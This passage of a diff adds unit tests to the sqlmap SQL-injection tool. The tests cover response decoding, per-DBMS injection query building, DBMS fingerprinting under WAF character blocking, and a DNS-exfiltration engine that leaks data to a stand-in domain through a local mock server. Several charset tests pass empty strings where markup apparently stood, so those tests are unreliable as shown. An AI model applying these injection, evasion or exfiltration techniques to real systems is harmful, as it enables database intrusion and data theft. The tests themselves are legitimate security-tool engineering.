bytes.""" + + data = struct.pack("'"; a coercion failure is a DataError.""" + + for message, expected in (("(remote) Syntax: In line 1, column 1 before ' 1'", dbwire.ProgrammingError), + ("(remote) Unknown class \"public.t\".", dbwire.ProgrammingError), + ("(remote) Cannot coerce value of domain \"character\" to domain \"integer\".", + dbwire.DataError), + ("(remote) unique constraint violated", dbwire.IntegrityError)): + self.assertRaises(expected, _cubrid.Connection._raise, -494, message) + + +class HelperTest(unittest.TestCase): + def test_socket_failure_maps_into_the_dbapi_hierarchy(self): + """Callers of a PEP 249 driver only catch Error and its subclasses.""" + + self.assertIsInstance(connection_lost(socket.error("boom")), dbwire.OperationalError) + self.assertIsInstance(connection_lost(socket.error("boom")), dbwire.Error) + + def test_http_origin_brackets_a_literal_ipv6_host(self): + self.assertEqual(http_origin("10.0.0.5", 8123), "http://10.0.0.5:8123") + self.assertEqual(http_origin("::1", 8123), "http://[::1]:8123") + self.assertEqual(http_origin("[fe80::1]", 8123), "http://[fe80::1]:8123") + self.assertEqual(http_origin(None, 8123), "http://localhost:8123") + + def test_recvn_reads_exactly_n_bytes_across_chunks(self): + """Shared by every socket module: a framed protocol has no notion of a short read.""" + + sock = FakeSocket(b"ABCDEFGH") + original = sock.recv + sock.recv = lambda _count: original(3) # dribble the stream 3 bytes at a time + self.assertEqual(recvn(sock, 8), b"ABCDEFGH") + self.assertRaises(dbwire.InterfaceError, recvn, FakeSocket(b"AB"), 4) + + def test_every_module_exposes_the_dbapi_surface(self): + for name in ("postgres", "mysql", "tds", "sybase", "firebird", "cubrid", "monetdb", "clickhouse", "presto"): + module = __import__("extra.dbwire.%s" % name, fromlist=["connect"]) + self.assertTrue(callable(getattr(module, "connect", None)), name) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_decodepage.py b/tests/test_decodepage.py new file mode 100644 index 00000000000..69949416604 --- /dev/null +++ b/tests/test_decodepage.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +HTTP response decoding (lib/request/basic.py decodePage). + +Every fetched page passes through decodePage: it inflates gzip/deflate bodies, +applies the charset, and guards against decompression bombs. A regression here +silently corrupts every response sqlmap compares, so the round-trips and the +malformed-input handling are pinned here. +""" + +import gzip +import io +import os +import sys +import unittest +import zlib + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.basic import decodePage +from lib.core.common import extractRegexResult +from lib.core.data import conf, kb +from lib.core.exception import SqlmapCompressionException +from lib.core.settings import META_CHARSET_REGEX + +BODY = b"Hello plain body content 12345 - no markup here" + + +def _gzip(data): + buf = io.BytesIO() + f = gzip.GzipFile(fileobj=buf, mode="wb") + f.write(data) + f.close() + return buf.getvalue() + + +def _raw_deflate(data): + # decodePage uses zlib.decompressobj(-15) => raw deflate (no zlib header) + co = zlib.compressobj(6, zlib.DEFLATED, -zlib.MAX_WBITS) + return co.compress(data) + co.flush() + + +class TestDecompression(unittest.TestCase): + def test_gzip_roundtrip(self): + # exact equality (not just substring): the whole body must decompress unchanged + out = decodePage(_gzip(BODY), "gzip", "text/html; charset=utf-8") + self.assertEqual(out, BODY.decode("utf-8")) + + def test_deflate_roundtrip(self): + out = decodePage(_raw_deflate(BODY), "deflate", "text/html") + self.assertEqual(out, BODY.decode("utf-8")) + + def test_identity_passthrough(self): + out = decodePage(BODY, None, "text/html") + self.assertEqual(out, BODY.decode("utf-8")) + # the exact-equality assertions above already imply a unicode return; a separate + # type-only test would be redundant. + + +class TestCharset(unittest.TestCase): + def test_utf8_decoded_to_unicode(self): + # several distinct multi-byte sequences (2/3/4-byte) must all decode intact + original = u"café — 你好 \U0001f512" + out = decodePage(original.encode("utf-8"), None, "text/html; charset=utf-8") + self.assertEqual(out, original) + + def test_meta_charset_used_when_no_http_charset(self): + # charset declared only via (no HTTP charset) with an attribute on + # must still be honored; byte 0xC0 is 'А' (U+0410) in windows-1251 + page = b'\xc0\xc1\xc2' + conf.encoding = None + kb.pageEncoding = None + out = decodePage(page, None, "text/html") + self.assertIn(u"АБВ", out) + + +class TestMetaCharsetRegex(unittest.TestCase): + """META_CHARSET_REGEX must tolerate real-world /meta forms while staying scoped + to the head so body content can't hijack the detected charset.""" + + def _charset(self, html): + return extractRegexResult(META_CHARSET_REGEX, html) + + def test_head_with_attributes(self): + self.assertEqual(self._charset(''), "iso-8859-2") + + def test_whitespace_around_equals(self): + self.assertEqual(self._charset(''), "utf-8") + + def test_single_quotes_stripped(self): + self.assertEqual(self._charset(""), "utf-8") + + def test_http_equiv_content_type(self): + self.assertEqual(self._charset(''), "windows-1251") + + def test_header_tag_not_matched(self): + #
    is not + self.assertIsNone(self._charset('
    ')) + + def test_body_meta_not_hijacked(self): + # a meta whose content merely mentions charset= in the body must not be picked up + self.assertIsNone(self._charset('t')) + + +class TestMalformed(unittest.TestCase): + def test_invalid_deflate_raises(self): + # zlib.compress() adds a 2-byte zlib header that raw-deflate decode rejects; + # body has no " cache hit + self.assertEqual(len(calls), 1) + self.assertEqual(g([4, 5]), 9) # different content -> recomputed + self.assertEqual(len(calls), 2) + + def test_tuple_and_list_args_do_not_collide(self): + # regression: a list arg ([1,2],) freezes to ((1,2),), the raw fast key of a tuple + # arg ((1,2),); the two calls must not share a cache slot + @cachedmethod + def kind(x): + return type(x).__name__ + + self.assertEqual(kind((1, 2)), "tuple") + self.assertEqual(kind([1, 2]), "list") + + def test_kwargs_are_part_of_the_key(self): + @cachedmethod + def h(a, b=0): + return a + b + + self.assertEqual(h(1, b=2), 3) + self.assertEqual(h(1, b=5), 6) # different kwarg -> not a cache hit + + +class TestStackedMethod(unittest.TestCase): + def test_realigns_leftover_pushes(self): + td = getCurrentThreadData() + base = len(td.valueStack) + + @stackedmethod + def leaky(_): + td.valueStack.append(_) # pushes without popping + + leaky(1) + self.assertEqual(len(td.valueStack), base) # stack restored to original level + + +class TestLockedMethod(unittest.TestCase): + def test_reentrant(self): + @lockedmethod + def recursive_count(n): + return 0 if n <= 0 else n + recursive_count(n - 1) + + self.assertEqual(recursive_count(5), 15) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_deps.py b/tests/test_deps.py new file mode 100644 index 00000000000..c3224bd12e0 --- /dev/null +++ b/tests/test_deps.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Optional-dependency probe (lib/utils/deps.py, the --dependencies feature). +checkDependencies() attempts to import every supported DBMS driver and warns +on the ones missing; it must never raise regardless of what's installed. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.deps as deps +from lib.utils.deps import checkDependencies + + +class _RecordingLogger(object): + """Captures every (level, message) emitted while installed as deps.logger.""" + + def __init__(self): + self.records = [] + + def warning(self, msg, *args): + self.records.append(("warning", msg % args if args else msg)) + + def info(self, msg, *args): + self.records.append(("info", msg % args if args else msg)) + + def debug(self, msg, *args): + self.records.append(("debug", msg % args if args else msg)) + + def error(self, msg, *args): + self.records.append(("error", msg % args if args else msg)) + + def messages(self, level=None): + return [m for (lvl, m) in self.records if level is None or lvl == level] + + +class TestCheckDependencies(unittest.TestCase): + def setUp(self): + self._real_logger = deps.logger + self.rec = _RecordingLogger() + deps.logger = self.rec + + def tearDown(self): + deps.logger = self._real_logger + + def test_missing_driver_warns_with_library_name(self): + # 'CUBRIDdb' (CUBRID driver) is not on PyPI and essentially never installed, + # so the probe must hit the except branch and emit a warning naming the library. + try: + __import__("CUBRIDdb") + self.skipTest("CUBRIDdb is unexpectedly installed") + except ImportError: + pass + + checkDependencies() + + warnings = self.rec.messages("warning") + self.assertTrue(warnings, msg="no warnings captured for a missing driver") + # the CUBRID entry must name its third-party library in a warning + self.assertTrue( + any("CUBRID-Python" in w for w in warnings), + msg="missing CUBRID driver did not produce a library-naming warning: %r" % warnings, + ) + + def test_all_present_emits_all_installed_info(self): + # force every __import__ to succeed so no library is ever recorded as + # missing; the empty-missing-set branch must emit the summary info line. + try: + import __builtin__ as builtins # py2 real builtin module + except ImportError: + import builtins # py3 + + class _FakeModule(object): + __version__ = "999.0.0" + + real_import = builtins.__import__ + + def _always_succeed(name, *args, **kwargs): + try: + return real_import(name, *args, **kwargs) + except Exception: + return _FakeModule() + + builtins.__import__ = _always_succeed + try: + checkDependencies() + finally: + builtins.__import__ = real_import + + infos = self.rec.messages("info") + self.assertTrue( + any("all dependencies are installed" in m for m in infos), + msg="all-present path did not emit the summary info: %r" % infos, + ) + # and with nothing missing there must be no missing-library warnings + self.assertFalse( + any("third-party library" in w and "requires" in w for w in self.rec.messages("warning")), + msg="unexpected missing-library warning when all imports succeed", + ) + + def test_returns_none(self): + # contract: the probe is purely advisory and never returns a value + self.assertIsNone(checkDependencies()) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_dialect.py b/tests/test_dialect.py new file mode 100644 index 00000000000..277e3c17ba4 --- /dev/null +++ b/tests/test_dialect.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Per-DBMS query building (the injection-engine "dialect" layer). + +These pin the exact SQL that agent.* emits for each back-end. They are the +regression net for queries.xml edits and for dialect gates in agent.py - the +kind of change that silently mis-builds a payload for one DBMS while leaving +every other green. + +Includes the SYBASE limitQuery fix: Sybase must now emit a TOP-based limited +query like MSSQL (previously it fell through and returned the query unchanged). +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.enums import DBMS + + +class TestLimitQuery(unittest.TestCase): + """agent.limitQuery(num, query, field) per dialect (probed, not guessed).""" + + def test_mysql(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.limitQuery(0, "SELECT name FROM users", "name"), + "SELECT name FROM users LIMIT 0,1") + + def test_pgsql(self): + set_dbms(DBMS.PGSQL) + self.assertEqual(agent.limitQuery(0, "SELECT name FROM users", "name"), + "SELECT name FROM users OFFSET 0 LIMIT 1") + + def test_oracle(self): + set_dbms(DBMS.ORACLE) + self.assertEqual(agent.limitQuery(0, "SELECT name FROM users", "name"), + "SELECT name FROM (SELECT name,ROWNUM AS CAP FROM users) WHERE CAP=1") + + def test_mssql_is_top_based(self): + set_dbms(DBMS.MSSQL) + q = agent.limitQuery(0, "SELECT name FROM users", "name") + self.assertTrue(q.startswith("SELECT TOP 1 name FROM users WHERE"), msg=q) + self.assertIn("ORDER BY 1", q) + + def test_sybase_limit_fix_is_top_based(self): + # REGRESSION: the user's limitQuery fix. Sybase must now produce a TOP-based + # limited query (mirroring MSSQL), NOT the query returned unchanged. + set_dbms(DBMS.SYBASE) + q = agent.limitQuery(0, "SELECT name FROM users", "name") + self.assertTrue(q.startswith("SELECT TOP 1 name FROM users WHERE"), msg=q) + self.assertIn("ORDER BY 1", q) + self.assertNotEqual(q, "SELECT name FROM users") # the pre-fix (broken) behavior + # Sybase casts via CONVERT(VARCHAR(...)), distinguishing it from MSSQL's NVARCHAR + self.assertIn("CONVERT(VARCHAR", q) + + +class TestNullAndCastField(unittest.TestCase): + """agent.nullAndCastField('col') differs per dialect - pin each.""" + + CASES = { + DBMS.MYSQL: "IFNULL(CAST(col AS NCHAR),' ')", + # MSSQL/PGSQL casts are unbounded (NVARCHAR(MAX)/TEXT) so long values are not silently truncated + DBMS.MSSQL: "ISNULL(CAST(col AS NVARCHAR(MAX)),' ')", + DBMS.SYBASE: "ISNULL(CONVERT(VARCHAR(16384),col),' ')", + DBMS.PGSQL: "COALESCE(CAST(col AS TEXT)::text,' ')", + DBMS.ORACLE: "NVL(CAST(col AS VARCHAR(4000)),' ')", + } + + def test_per_dbms(self): + for dbms, expected in self.CASES.items(): + set_dbms(dbms) + self.assertEqual(agent.nullAndCastField("col"), expected, msg="nullAndCastField for %s" % dbms) + + +class TestHexConvertField(unittest.TestCase): + # hexConvertField differs per dialect; pin each (was a one-platform stub before) + CASES = { + DBMS.MYSQL: "HEX(name)", + DBMS.ORACLE: "RAWTOHEX(name)", + DBMS.PGSQL: "ENCODE(CONVERT_TO((name),'UTF8'),'HEX')", + DBMS.MSSQL: "master.dbo.fn_varbintohexstr(CAST(name AS VARBINARY(8000)))", + } + + def test_per_dbms(self): + for dbms, expected in self.CASES.items(): + set_dbms(dbms) + self.assertEqual(agent.hexConvertField("name"), expected, msg="hexConvertField for %s" % dbms) + + +class TestForgeUnionQuery(unittest.TestCase): + def test_position_and_count(self): + # count=3, position=1 -> the real column is slotted at index 1, NULLs elsewhere + set_dbms(DBMS.MYSQL) + q = agent.forgeUnionQuery("SELECT a FROM t", 1, 3, None, "", "", "NULL", None) + self.assertEqual(q, " UNION ALL SELECT NULL,a,NULL FROM t") + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py new file mode 100644 index 00000000000..26520ca74a2 --- /dev/null +++ b/tests/test_dialectdbms.py @@ -0,0 +1,207 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Operator/typing-dialect DBMS heuristic (lib/utils/dialect.py). Locks in the empirical 8-probe truth +table: each measured signature maps to its expected back-end DBMS, and every other signature (unmeasured +engine, ambiguous, or noise) maps to None so the heuristic never wrong-foots detection. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.dialect as dialect +from lib.core.data import kb +from lib.core.enums import DBMS +from lib.utils.dialect import _classify +from lib.utils.dialect import _reachCanary +from lib.utils.dialect import dialectCheckDbms +from lib.utils.dialect import DIALECT_CANARY +from lib.utils.dialect import DIALECT_PROBES +from lib.utils.dialect import DIALECT_REACH_CANARY +from lib.utils.dialect import _DIALECT_REACH_CHARS + +# Full 8-probe signature (pow, intdiv, mod, bitor, xeq, bslash, catplus, numcat) measured live -> DBMS. +# Every bit is significant (strict whitelist); a one-bit-off variant is simply not a known fingerprint. +MEASURED = { + "mysql": (False, False, True , True , False, False, True , True , DBMS.MYSQL), + "mysql5": (False, False, True , True , False, False, True , True , DBMS.MYSQL), + "tidb": (False, False, True , True , False, False, True , True , DBMS.MYSQL), # MySQL wire-compatible + "postgres": (True , True , True , True , False, False, False, False, DBMS.PGSQL), + "opengauss": (True , False, True , True , True , False, False, True , DBMS.PGSQL), # Oracle-compat '^=' + "cockroach": (True , False, True , True , False, False, False, False, DBMS.PGSQL), # decimal division + "cratedb": (True , True , True , True , False, False, False, True , DBMS.PGSQL), + "mssql2019": (False, True , True , True , False, False, True , False, DBMS.MSSQL), # no '<<' + "mssql2022": (False, True , True , True , False, False, True , False, DBMS.MSSQL), # gained '<<' but shift is not a probe -> same signature + "sqlite": (False, True , True , True , False, False, False, False, DBMS.SQLITE), + "clickhouse":(False, False, True , False, False, False, False, True , DBMS.CLICKHOUSE),# no bitwise-OR + "monetdb": (False, True , True , True , False, False, False, True , DBMS.MONETDB), # like MSSQL but no '+' concat + "firebird": (False, True , False, False, True , False, False, True , DBMS.FIREBIRD), # has '^=' + "h2": (False, True , True , False, False, False, False, True , DBMS.H2), + "hsqldb": (False, True , False, False, False, False, True , False, DBMS.HSQLDB), # '+' concat + "derby": (False, True , False, False, False, False, False, False, DBMS.DERBY), + "iris": (False, False, False, False, False, True , False, True , DBMS.CACHE), # '\' int-div (Oracle-like but no '^=') + "trino": (False, True , True , False, False, False, False, False, DBMS.PRESTO), + "oracle": (False, False, False, False, True , False, False, True , DBMS.ORACLE), # '^=' not-equal + "informix": (False, False, False, False, False, False, False, True , DBMS.INFORMIX), + "cubrid": (False, True , True , True , False, False, True , True , DBMS.CUBRID), # like MonetDB but '+' concat + "db2": (False, True , True , True , True , False, False, True , DBMS.DB2), # '^=', no '<<'/'\' + "vertica": (True , False, True , True , False, False, False, True , DBMS.VERTICA), # pg-derived but numeric '||' + "access": (True , False, False, False, False, True , True , False, DBMS.ACCESS), # ACE/JET: '^' exp + '\' int-div + '+' concat, no '%'/'|'/'||' +} + +# Documentation-derived (vendor operator spec, not live-tested); only where the signature is a free slot. +DOCUMENTED = { + "spanner": (False, False, False, True , False, False, False, False, DBMS.SPANNER), +} + +_PROBE_COUNT = len(DIALECT_PROBES) +_ALL = dict(MEASURED); _ALL.update(DOCUMENTED) + + +def _sig(engine): + return _ALL[engine][:_PROBE_COUNT] + + +class TestDialectClassification(unittest.TestCase): + def test_probe_count_matches_signature_width(self): + # the MEASURED rows and the doctested matrix must stay the same width as DIALECT_PROBES + self.assertEqual(_PROBE_COUNT, 8) + + def test_measured_engines_map_as_expected(self): + # each engine's exact measured 8-probe signature maps to its expected DBMS + for engine, row in MEASURED.items(): + self.assertEqual(_classify(row[:_PROBE_COUNT]), row[_PROBE_COUNT], "engine %r misclassified" % engine) + + def test_documented_engines_map_as_expected(self): + # doc-derived rows (not live-tested) still resolve to their expected DBMS via the whitelist + for engine, row in DOCUMENTED.items(): + self.assertEqual(_classify(row[:_PROBE_COUNT]), row[_PROBE_COUNT], "engine %r misclassified" % engine) + + def test_mssql_version_agnostic(self): + # SQL Server 2022 gained '<<' but 'shift' is deliberately NOT a probe (it collided MSSQL 2022 + # with MonetDB); both versions share one signature and '+' concat separates MSSQL from MonetDB. + self.assertEqual(_classify(_sig("mssql2019")), DBMS.MSSQL) + self.assertEqual(_classify(_sig("mssql2022")), DBMS.MSSQL) + self.assertEqual(_classify(_sig("monetdb")), DBMS.MONETDB) + + def test_oracle_iris_split_by_operators(self): + # Oracle and IRIS are near-identical; '^=' (Oracle) vs '\' int-div (IRIS) split them. + self.assertEqual(_classify(_sig("oracle")), DBMS.ORACLE) + self.assertEqual(_classify(_sig("iris")), DBMS.CACHE) + + def test_previously_colliding_engines_now_split(self): + # the 4 late-measured engines collided on smaller probe sets; the 8-probe matrix separates them + # (Informix != IRIS, CUBRID != MonetDB, Vertica != PostgreSQL, DB2 != all-true noise). + self.assertEqual(_classify(_sig("informix")), DBMS.INFORMIX) + self.assertEqual(_classify(_sig("cubrid")), DBMS.CUBRID) + self.assertEqual(_classify(_sig("vertica")), DBMS.VERTICA) + self.assertEqual(_classify(_sig("db2")), DBMS.DB2) + + def test_whitelist_is_exact_no_false_positive(self): + # exhaustively sweep all 256 signatures: a non-None result is allowed ONLY for a known one + classifying = set(row[:_PROBE_COUNT] for row in _ALL.values()) + for bits in range(1 << _PROBE_COUNT): + sig = tuple(bool(bits & (1 << i)) for i in range(_PROBE_COUNT)) + if sig not in classifying: + self.assertIsNone(_classify(sig), "unmeasured signature %r wrongly mapped to %r" % (sig, _classify(sig))) + + def test_all_true_noise_is_rejected(self): + # a channel reading EVERY probe true (static/reflected page or false-positive oracle) is + # physically impossible and must NOT be guessed + self.assertIsNone(_classify((True,) * _PROBE_COUNT)) + + +class TestDialectCheckDbmsGuard(unittest.TestCase): + """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel, and + None whenever the channel is unreliable (including the canary that turns a trashy false-positive + channel into a true negative).""" + + def _run(self, probeBits, gate=(True, False, False), blocked=()): + # probeBits: {probe_name: bool}; gate: (2=2, 2=3, canary); blocked: chars a WAF drops + truth = {"2=2": gate[0], "2=3": gate[1], DIALECT_CANARY: gate[2]} + for name, expr in DIALECT_PROBES: + truth[expr] = bool(probeBits.get(name, False)) + # clean channel: all reachability canaries TRUE; a blocked char reads FALSE (combined + per-char) + truth[DIALECT_REACH_CANARY] = not blocked + for char, _ in _DIALECT_REACH_CHARS: + truth[_reachCanary(char)] = char not in blocked + orig = dialect.checkBooleanExpression + dialect.checkBooleanExpression = lambda expr, **kwargs: bool(truth.get(expr, False)) + saved = kb.get("injection") + try: + return dialectCheckDbms(object()) + finally: + dialect.checkBooleanExpression = orig + kb.injection = saved + + @staticmethod + def _bits(engine): + return dict(zip((n for n, _ in DIALECT_PROBES), _sig(engine))) + + def test_identifies_mysql_on_good_channel(self): + self.assertEqual(self._run(self._bits("mysql")), DBMS.MYSQL) + + def test_identifies_postgres_on_good_channel(self): + self.assertEqual(self._run(self._bits("postgres")), DBMS.PGSQL) + + def test_identifies_oracle_on_good_channel(self): + self.assertEqual(self._run(self._bits("oracle")), DBMS.ORACLE) + + def test_none_on_blocked_channel(self): + # everything blocked/false -> the tautology 2=2 reads False -> sanity fails -> None + self.assertIsNone(self._run({}, gate=(False, False, False))) + + def test_none_on_static_channel(self): + # a static page reads everything True -> the contradiction 2=3 is True -> sanity fails -> None + self.assertIsNone(self._run(self._bits("mysql"), gate=(True, True, True))) + + def test_none_when_canary_reads_true(self): + # THE canary contract: a channel can look clean (2=2 true, 2=3 false) and yield a DBMS-shaped + # signature, but if the invalid canary also reads TRUE the channel accepts garbage -> None. + self.assertIsNone(self._run(self._bits("mysql"), gate=(True, False, True))) + + +class TestDialectAdversarial(unittest.TestCase): + """WAF that selectively drops operator characters: a dropped probe reads FALSE, silently degrading + the signature. Reachability canaries mark those bits unknown and _classify() abstains unless the + trusted bits are unanimous - so char-blocking can never MISCLASSIFY (only answer correctly or None).""" + + def test_guard_never_misclassifies_under_single_char_block(self): + # for every droppable probe character, no known engine is ever read as a DIFFERENT DBMS + for char, bits in _DIALECT_REACH_CHARS: + for engine, row in _ALL.items(): + expected = row[_PROBE_COUNT] + got = _classify(row[:_PROBE_COUNT], unknown=set(bits)) + self.assertIn(got, (expected, None), "%s under blocked %r -> %s" % (engine, char, got)) + + def test_guard_recovers_when_trusted_bits_are_unique(self): + # MySQL stays uniquely pinned with 'mod' (%) blocked + self.assertEqual(_classify(_sig("mysql"), unknown={2}), DBMS.MYSQL) + + def test_guard_abstains_when_ambiguous(self): + # H2 vs Presto differ only in numcat; blocking '|' (kills numcat) makes them indistinguishable + self.assertIsNone(_classify(_sig("h2"), unknown={7})) + + +class TestDialectCheckDbmsReachability(TestDialectCheckDbmsGuard): + """dialectCheckDbms() end-to-end when a WAF drops a probe character.""" + + def test_blocked_char_abstains_instead_of_misclassifying(self): + # '|' dropped: H2 can no longer be told from Presto -> None (not a wrong guess) + self.assertIsNone(self._run(self._bits("h2"), blocked=("|",))) + + def test_blocked_char_still_identifies_when_unique(self): + # '%' dropped: MySQL stays uniquely identifiable + self.assertEqual(self._run(self._bits("mysql"), blocked=("%",)), DBMS.MYSQL) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dicts.py b/tests/test_dicts.py new file mode 100644 index 00000000000..a714956f1de --- /dev/null +++ b/tests/test_dicts.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Structural invariants of the data-mapping tables in lib/core/dicts.py. + +These tables drive DBMS recognition, connector selection, dummy-table dialect, +and dump formatting. They are pure data, so the right tests are shape/coverage +invariants: every back-end has a connector entry, alias lists are well-formed, +and the dialect maps carry the values the engine expects. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core import dicts +from lib.core.enums import DBMS +from lib.core.common import getPublicTypeMembers + + +class TestDbmsDict(unittest.TestCase): + def test_every_dbms_enum_has_connector_entry(self): + # DBMS_DICT keys must cover every public DBMS enum value + enum_values = set(v for _, v in getPublicTypeMembers(DBMS)) + missing = enum_values - set(dicts.DBMS_DICT.keys()) + self.assertEqual(missing, set(), msg="DBMS without DBMS_DICT entry: %s" % missing) + + def test_entry_shape(self): + # each entry: (aliases-tuple, connector-name, connector-url, sqlalchemy-dialect) + self.assertGreaterEqual(len(dicts.DBMS_DICT), 25, msg="DBMS_DICT suspiciously small") + for name, entry in dicts.DBMS_DICT.items(): + self.assertEqual(len(entry), 4, msg="malformed DBMS_DICT entry for %s" % name) + aliases = entry[0] + self.assertIsInstance(aliases, (tuple, list), msg="aliases not list-like for %s" % name) + self.assertGreaterEqual(len(aliases), 1, msg="no aliases for %s" % name) + for a in aliases: # per-item, so a failure names the offending alias + self.assertIsInstance(a, str, msg="non-str alias %r for %s" % (a, name)) + + def test_aliases_are_lowercase(self): + for name, entry in dicts.DBMS_DICT.items(): + for alias in entry[0]: + self.assertEqual(alias, alias.lower(), msg="alias %r (for %s) is not lowercase" % (alias, name)) + + +class TestFromDummyTable(unittest.TestCase): + def test_oracle_uses_dual(self): + self.assertEqual(dicts.FROM_DUMMY_TABLE[DBMS.ORACLE], " FROM DUAL") + + def test_mysql_has_no_dummy_table(self): + # MySQL allows a bare SELECT, so it must NOT appear here + self.assertNotIn(DBMS.MYSQL, dicts.FROM_DUMMY_TABLE) + + def test_values_start_with_from(self): + # strict: must be (optional leading space) FROM - + # not just startswith("FROM"), which would accept "FROMX" or a bare "FROM" + for name, clause in dicts.FROM_DUMMY_TABLE.items(): + self.assertTrue(re.match(r"^\s*FROM\s+\S", clause.upper()), + msg="FROM_DUMMY_TABLE[%s]=%r is not a well-formed FROM clause" % (name, clause)) + + +class TestSqlStatements(unittest.TestCase): + def test_known_categories_present(self): + for category in ("SQL data definition", "SQL data manipulation", "SQL data control"): + self.assertIn(category, dicts.SQL_STATEMENTS, msg="missing SQL_STATEMENTS category %r" % category) + + def test_keywords_are_lowercase_tokens(self): + for category, keywords in dicts.SQL_STATEMENTS.items(): + self.assertTrue(len(keywords) >= 1, msg="empty category %r" % category) + for kw in keywords: + self.assertEqual(kw, kw.lower(), msg="keyword %r in %r not lowercase" % (kw, category)) + + +class TestDumpReplacements(unittest.TestCase): + def test_markers(self): + self.assertEqual(dicts.DUMP_REPLACEMENTS.get(""), "") + self.assertEqual(dicts.DUMP_REPLACEMENTS.get(" "), "NULL") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py new file mode 100644 index 00000000000..24ea4ba370f --- /dev/null +++ b/tests/test_dns_engine.py @@ -0,0 +1,402 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The DNS-exfiltration extraction engine (lib/techniques/dns/use.py dnsUse) and the +channel-detection probe (lib/techniques/dns/test.py dnsTest). + +DNS exfil is normally driven by a back-end DBMS that performs an actual DNS lookup +of an attacker-controlled hostname (Oracle UTL_INADDR, MSSQL xp_dirtree, ...), +encoding the queried data in the subdomain labels which then reach sqlmap's +in-process DNS server. That DBMS behaviour cannot be reproduced locally without a +real DNS-emitting engine, so here we drive the REAL dnsUse()/dnsTest() logic + the +REAL DNSServer (on a high port, no root) and emulate ONLY that one step: a mock +Request.queryPage plays the DBMS - it takes the per-iteration boundaries dnsUse +generated and fires a genuine UDP DNS query for +'prefix..suffix.domain' at the DNS server. + +So the chunking/offset/reassembly loop, the dns_request snippet rendering, the +DNSServer packet parse, pop(prefix,suffix), regex extraction, hex decoding and the +detection-then-disable logic are all exercised for real; if any of them regress +these go red - without a live DBMS. + +NOTE on fidelity: secrets are kept ASCII so the mock's byte-slice chunking matches a +DBMS character-substring exactly. Multi-byte (UTF-8) values, where DBMS SUBSTRING is +character-based and a chunk could split a code point, need the real-DBMS run. +""" + +import binascii +import os +import re +import socket +import struct +import sys +import threading +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms, save_attrs, restore_attrs +bootstrap() + +from lib.core.agent import agent +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.threads import getCurrentThreadData +from lib.core.enums import DBMS +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.settings import DNS_BOUNDARIES_ALPHABET +from lib.core.settings import MAX_DNS_LABEL +from lib.request.connect import Connect +from lib.request.dns import DNSServer +import lib.techniques.dns.use as dnsmod +import lib.techniques.dns.test as dnstestmod + +def _build_query(name, tid=b"\x12\x34"): + pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" + for label in name.split("."): + if label: + pkt += struct.pack("B", len(label)) + label.encode() + return pkt + b"\x00" + b"\x00\x01" + b"\x00\x01" + +class _HighPortDNSServer(DNSServer): + # same logic as the real server (parse/pop/run), just bound high so no root is needed + def __init__(self, port=0): + self._requests = [] + self._lock = threading.Lock() + self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._socket.bind(("127.0.0.1", port)) + self.port = self._socket.getsockname()[1] + self._running = False + self._initialized = False + + def close(self): + self._running = False + try: + self._socket.close() + except socket.error: + pass + +_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False} +_KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False} + + +class _DnsCase(unittest.TestCase): + DBMS_NAME = "MySQL" + + @classmethod + def setUpClass(cls): + cls.server = _HighPortDNSServer() + cls.server.run() + # bounded wait: never spin indefinitely if the in-process server fails to bind/init + # (e.g. a taken port on CI) - fail loudly instead of hanging the whole suite + deadline = time.time() + 10 + while not cls.server._initialized: + if time.time() > deadline: + raise RuntimeError("in-process DNS test server failed to initialize within 10s") + time.sleep(0.02) + + @classmethod + def tearDownClass(cls): + server = getattr(cls, "server", None) + if server 